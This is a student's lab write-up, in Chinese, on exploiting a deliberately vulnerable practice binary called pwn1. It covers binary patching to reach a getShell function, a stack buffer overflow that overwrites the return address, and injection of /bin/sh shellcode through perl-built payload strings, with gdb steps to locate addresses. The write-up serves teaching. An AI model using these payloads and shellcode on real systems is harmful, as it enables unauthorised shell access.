实践目标
本次实践的对象是linux的可执行文件
该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。
实践内容
手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
2.掌握反汇编与十六进制编程器
3.能正确修改机器指令改变程序执行流程
4.能正确构造payload进行bof攻击
实践要求
1.所有操作截图主机名为本人姓名拼音
2.所编辑的文件名包含自己的学号
实践思路
通过运行原本不可访问的代码片段，强行修改程序执行流以及注入运行任意代码的操作。
关于命令的知识储备
CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
JNE：条件转移指令，如果不相等则跳转。（机器码：75）
JE：条件转移指令，如果相等则跳转。（机器码：74）
JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB）段内直接近转移Jmp near（机器码：E9）段内间接转移Jmp
word（机器码：FF）段间直接(远)转移Jmp far（机器码：EA）
NOP：空指令，执行到NOP时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
实践一：直接修改程序机器指令，改变程序执行流程
第一步：通过
objdump -d pwn1_20155309
对文件进行反汇编
其次有几个特别需要注意的数据
接下来上网上找那种十六进制的计算器即可，由于课上老师已经为大家演示过了，所以我们能知道:将d7改为c3
对应的就算过程相减即可。
第三步：通过命令vi pwn1_20155321编辑文件，通过命令:%! xxd把文件转为十六进制编辑模式，通过命令/d7ff找到需要修改的地方，最后输入i进入编辑模式，即把d7为c3
第四步：改完后输入命令:%! xxd -r将文件转回至二进制形式，再输入:wq保存并退出
第五步：由此可发现程序已从原来跳转至foo函数变为跳转至getshell函数
这样也就完成了实践
实践二：通过构造输入参数，造成BOF攻击，改变程序执行流
了解关于gdb的命令：
反汇编，了解程序的基本功能
触发getshell函数
该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞
这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
确认输入字符串哪几个字符会覆盖到返回地址
通过命令进行调试，通过命令r进行运行，通过命令info r可查看各寄存器的值，其中主要关注EIP寄存器的值（EIP寄存器读取即将要执行的指令）
我们的目标是触发函数getShell
该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞
函数foo中的mov(804849a)读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址
函数main中的call调用函数foo，同时在堆栈上压上返回地址值:80484
注意到eip的值为ASCII的5，即在输入字符串的“5”的部分发生溢出。
由此可以看到，如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。
由可知此1234这四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。因此只要把这四个字符替换为getShell的内存地址，输给pwn1，pwn1就会运行getShell
由反汇编结果可知getShell的内存地址为：0804847d
要确认用什么值来覆盖返回地址
我们通过反汇编的时候，可以了解到shellcode的内存地址是 0804847d
然后需要判断输入方式是大端还是小断，也就是说到底是输入
11111111222222223333333344444444\x08\x04\x84\x7d
还是输入
11111111222222223333333344444444\x7d\x84\x04\x08
根据判断我们可以得知是小端输入。也就是
11111111222222223333333344444444\x7d\x84\x04\x08
构造输入字符串
因为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。
实践三：注入Shellcode并执行
首先准备一段shellcode
shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），
所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
其次按照老师所给的教程输入命令即可。如下图所示：
构造要注入的payload
Linux下有两种基本构造攻击buf的方法：
retaddr+nop+shellcode
nop+shellcode+retaddr
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为
nops+shellcode+retaddr。
nop一为是了填充，二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。
使用命令
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
接下来我们打开另一个终端。
输入攻击
buf (cat input_shellcode;cat) | ./pwn1
再开另外一个终端，用gdb来调试pwn1这个进程：
用
ps -ef | grep pwn1
命令找到pwn1的进程号是：7806
用gdb、attach 7806命令启动gdb调试这个进程：
用disassemble foo命令反汇编，通过设置断点，来查看注入buf的内存地址：
用
break *0x080484ae
命令设置断点，输入c命令(continue)继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp命令查找地址：
用
x/16x 0xffffd27c
命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为0xffffd27c：
接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可，用命
令
perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再用
(cat input_shellcode;cat) | ./pwn1
命令再次执行程序，攻击成功！
实验中遇到的问题
1.在实验二的时候，没有重新拷pwn导致了任务的失败
2.在实验三的适合，没有另外打开一个终端
导致任务的失败。
感想与收获
缓冲区溢出的实验是我对程序溢出利用有了深刻的认识理解，通过调试软件漏洞大大增长了自己的动手实践能力。同时还找到了自己不足的方面。希望在以后的学习中更加丰富自己。
